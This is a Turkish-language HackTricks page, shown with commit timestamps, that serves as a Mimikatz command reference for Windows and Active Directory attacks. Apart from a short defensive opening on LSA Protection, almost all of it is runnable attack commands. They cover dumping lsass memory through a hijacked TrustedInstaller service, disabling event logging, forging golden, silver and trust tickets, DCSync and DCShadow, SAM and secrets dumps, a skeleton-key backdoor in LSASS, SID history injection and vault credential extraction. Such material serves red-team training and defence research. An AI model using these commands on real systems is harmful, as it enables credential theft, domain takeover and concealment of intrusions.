hacktricks/windows-hardening/stealing-credentials/credentials-mimikatz.md

216 lines
11 KiB
Markdown
Raw Normal View History

2022-08-13 23:06:40 +00:00
# Mimikatz
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
**Bu sayfa [adsecurity.org](https://adsecurity.org/?page\_id=1821) sayfasına dayanmaktadır**. Daha fazla bilgi için orijinalini kontrol edin!
## LM ve Bellekte Düz Metin
Windows 8.1 ve Windows Server 2012 R2'den itibaren, kimlik bilgisi hırsızlığına karşı önemli önlemler alınmıştır:
- **LM hash'leri ve düz metin şifreleri** artık güvenliği artırmak için bellekte saklanmamaktadır. "clear-text" şifrelerin LSASS'te önbelleğe alınmamasını sağlamak için _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ kayıt defteri ayarının `0` DWORD değeri ile yapılandırılması gerekmektedir.
- **LSA Koruması**, Yerel Güvenlik Otoritesi (LSA) sürecini yetkisiz bellek okuma ve kod enjeksiyonuna karşı korumak için tanıtılmıştır. Bu, LSASS'in korunan bir süreç olarak işaretlenmesiyle sağlanır. LSA Korumasının etkinleştirilmesi şunları içerir:
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ kayıt defterini `RunAsPPL` değerini `dword:00000001` olarak ayarlayarak değiştirmek.
2. Bu kayıt defteri değişikliğini yönetilen cihazlar arasında zorunlu kılan bir Grup Politika Nesnesi (GPO) uygulamak.
Bu korumalara rağmen, Mimikatz gibi araçlar belirli sürücüleri kullanarak LSA Korumasını aşabilir, ancak bu tür eylemlerin olay günlüklerinde kaydedilmesi muhtemeldir.
### SeDebugPrivilege Kaldırma ile Mücadele
Yönetici kullanıcılar genellikle programları hata ayıklama yeteneği veren SeDebugPrivilege'e sahiptir. Bu ayrıcalık, yetkisiz bellek dökümünü önlemek için kısıtlanabilir; bu, saldırganların bellekten kimlik bilgilerini çıkarmak için kullandığı yaygın bir tekniktir. Ancak, bu ayrıcalık kaldırıldığında bile, TrustedInstaller hesabı özelleştirilmiş bir hizmet yapılandırması kullanarak bellek dökümleri gerçekleştirebilir:
2024-02-08 03:06:37 +00:00
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Bu, `lsass.exe` belleğinin bir dosyaya dökülmesini sağlar; bu dosya daha sonra başka bir sistemde analiz edilerek kimlik bilgileri çıkarılabilir:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
2024-02-10 18:14:16 +00:00
## Mimikatz Seçenekleri
Mimikatz'ta olay günlüğü manipülasyonu iki ana eylemi içerir: olay günlüklerini temizleme ve yeni olayların kaydedilmesini önlemek için Olay hizmetini yamanma. Aşağıda bu eylemleri gerçekleştirmek için komutlar bulunmaktadır:
2024-02-10 18:14:16 +00:00
#### Olay Günlüklerini Temizleme
- **Komut**: Bu eylem, olay günlüklerini silmeyi amaçlar, böylece kötü niyetli faaliyetleri takip etmeyi zorlaştırır.
- Mimikatz, standart belgelerinde olay günlüklerini doğrudan komut satırı aracılığıyla temizlemek için doğrudan bir komut sağlamaz. Ancak, olay günlüğü manipülasyonu genellikle belirli günlükleri temizlemek için Mimikatz dışında sistem araçları veya betikler kullanmayı içerir (örneğin, PowerShell veya Windows Olay Görüntüleyici kullanarak).
#### Deneysel Özellik: Olay Hizmetini Yamama
2024-02-10 18:14:16 +00:00
- **Komut**: `event::drop`
- Bu deneysel komut, Olay Günlüğü Hizmeti'nin davranışını değiştirmek için tasarlanmıştır ve etkili bir şekilde yeni olayların kaydedilmesini önler.
2024-02-10 18:14:16 +00:00
- Örnek: `mimikatz "privilege::debug" "event::drop" exit`
2024-02-10 18:14:16 +00:00
- `privilege::debug` komutu, Mimikatz'ın sistem hizmetlerini değiştirmek için gerekli ayrıcalıklarla çalışmasını sağlar.
- `event::drop` komutu daha sonra Olay Günlüğü hizmetini yamalar.
2024-02-10 18:14:16 +00:00
### Kerberos Bilet Saldırıları
### Altın Bilet Oluşturma
Bir Altın Bilet, alan genelinde erişim taklidi yapmayı sağlar. Ana komut ve parametreler:
2024-02-10 18:14:16 +00:00
- Komut: `kerberos::golden`
- Parametreler:
- `/domain`: Alan adı.
- `/sid`: Alanın Güvenlik Tanımlayıcısı (SID).
2024-02-10 18:14:16 +00:00
- `/user`: Taklit edilecek kullanıcı adı.
- `/krbtgt`: Alanın KDC hizmet hesabının NTLM hash'i.
2024-02-10 18:14:16 +00:00
- `/ptt`: Bileti doğrudan belleğe enjekte eder.
- `/ticket`: Bileti daha sonra kullanmak üzere kaydeder.
2024-02-10 18:14:16 +00:00
Örnek:
2024-02-08 03:06:37 +00:00
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Silver Ticket Oluşturma
Silver Ticket'lar belirli hizmetlere erişim sağlar. Ana komut ve parametreler:
- Komut: Golden Ticket'e benzer ancak belirli hizmetleri hedef alır.
2024-02-10 18:14:16 +00:00
- Parametreler:
- `/service`: Hedef alınacak hizmet (örn., cifs, http).
- Diğer parametreler Golden Ticket ile benzerdir.
2024-02-10 18:14:16 +00:00
Örnek:
2024-02-08 03:06:37 +00:00
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Trust Ticket Oluşturma
Trust Ticket'lar, güven ilişkilerini kullanarak alanlar arasında kaynaklara erişim sağlamak için kullanılır. Ana komut ve parametreler:
- Komut: Golden Ticket'e benzer ancak güven ilişkileri için.
2024-02-10 18:14:16 +00:00
- Parametreler:
- `/target`: Hedef alanın FQDN'si.
- `/rc4`: Güven hesabı için NTLM hash'i.
2024-02-10 18:14:16 +00:00
Örnek:
2024-02-08 03:06:37 +00:00
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
2024-02-10 18:14:16 +00:00
### Ek Kerberos Komutları
- **Biletleri Listele**:
2024-02-10 18:14:16 +00:00
- Komut: `kerberos::list`
- Mevcut kullanıcı oturumu için tüm Kerberos biletlerini listeler.
- **Önbelleği Geç**:
2024-02-10 18:14:16 +00:00
- Komut: `kerberos::ptc`
- Önbellek dosyalarından Kerberos biletlerini enjekte eder.
- Örnek: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Bileti Geç**:
2024-02-10 18:14:16 +00:00
- Komut: `kerberos::ptt`
- Başka bir oturumda Kerberos biletini kullanmaya olanak tanır.
2024-02-10 18:14:16 +00:00
- Örnek: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Biletleri Temizle**:
2024-02-10 18:14:16 +00:00
- Komut: `kerberos::purge`
- Oturumdan tüm Kerberos biletlerini temizler.
- Çatışmaları önlemek için bilet manipülasyon komutlarını kullanmadan önce faydalıdır.
2024-02-10 18:14:16 +00:00
### Active Directory Manipülasyonu
- **DCShadow**: Bir makineyi AD nesne manipülasyonu için geçici olarak DC gibi davranmasını sağlar.
2024-02-10 18:14:16 +00:00
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Şifre verilerini talep etmek için bir DC'yi taklit eder.
2024-02-10 18:14:16 +00:00
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
2024-02-10 18:14:16 +00:00
### Kimlik Bilgilerine Erişim
2024-02-10 18:14:16 +00:00
- **LSADUMP::LSA**: LSA'dan kimlik bilgilerini çıkarır.
- `mimikatz "lsadump::lsa /inject" exit`
2024-02-10 18:14:16 +00:00
- **LSADUMP::NetSync**: Bir bilgisayar hesabının şifre verilerini kullanarak bir DC'yi taklit eder.
- *Orijinal bağlamda NetSync için özel bir komut sağlanmamıştır.*
2024-02-10 18:14:16 +00:00
- **LSADUMP::SAM**: Yerel SAM veritabanına erişim sağlar.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Kayıt defterinde saklanan sırları deşifre eder.
2024-02-10 18:14:16 +00:00
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Bir kullanıcı için yeni bir NTLM hash'i ayarlar.
2024-02-10 18:14:16 +00:00
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: güven ilişkisi kimlik doğrulama bilgilerini alır.
2024-02-10 18:14:16 +00:00
- `mimikatz "lsadump::trust" exit`
2024-02-10 18:14:16 +00:00
### Çeşitli
- **MISC::Skeleton**: LSASS'a bir arka kapı enjekte eder.
2024-02-10 18:14:16 +00:00
- `mimikatz "privilege::debug" "misc::skeleton" exit`
2024-02-10 18:14:16 +00:00
### Yetki Yükseltme
- **PRIVILEGE::Backup**: Yedekleme haklarını edinir.
2024-02-10 18:14:16 +00:00
- `mimikatz "privilege::backup" exit`
2024-02-10 18:14:16 +00:00
- **PRIVILEGE::Debug**: Hata ayıklama ayrıcalıklarını elde eder.
- `mimikatz "privilege::debug" exit`
### Kimlik Bilgisi Dökümü
- **SEKURLSA::LogonPasswords**: Oturum açmış kullanıcılar için kimlik bilgilerini gösterir.
2024-02-10 18:14:16 +00:00
- `mimikatz "sekurlsa::logonpasswords" exit`
2024-02-10 18:14:16 +00:00
- **SEKURLSA::Tickets**: Bellekten Kerberos biletlerini çıkarır.
- `mimikatz "sekurlsa::tickets /export" exit`
2024-02-10 18:14:16 +00:00
### Sid ve Token Manipülasyonu
2024-02-10 18:14:16 +00:00
- **SID::add/modify**: SID ve SIDHistory'yi değiştirir.
- Ekle: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Değiştir: *Orijinal bağlamda değiştir için özel bir komut yoktur.*
- **TOKEN::Elevate**: Token'ları taklit eder.
2024-02-10 18:14:16 +00:00
- `mimikatz "token::elevate /domainadmin" exit`
2024-02-10 18:14:16 +00:00
### Terminal Hizmetleri
2024-02-10 18:14:16 +00:00
- **TS::MultiRDP**: Birden fazla RDP oturumuna izin verir.
- `mimikatz "ts::multirdp" exit`
2024-02-10 18:14:16 +00:00
- **TS::Sessions**: TS/RDP oturumlarını listeler.
- *Orijinal bağlamda TS::Sessions için özel bir komut sağlanmamıştır.*
2022-08-13 23:06:40 +00:00
### Vault
2021-10-26 21:32:15 +00:00
2024-02-10 18:14:16 +00:00
- Windows Vault'tan şifreleri çıkarır.
- `mimikatz "vault::cred /patch" exit`
2021-10-26 21:32:15 +00:00
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}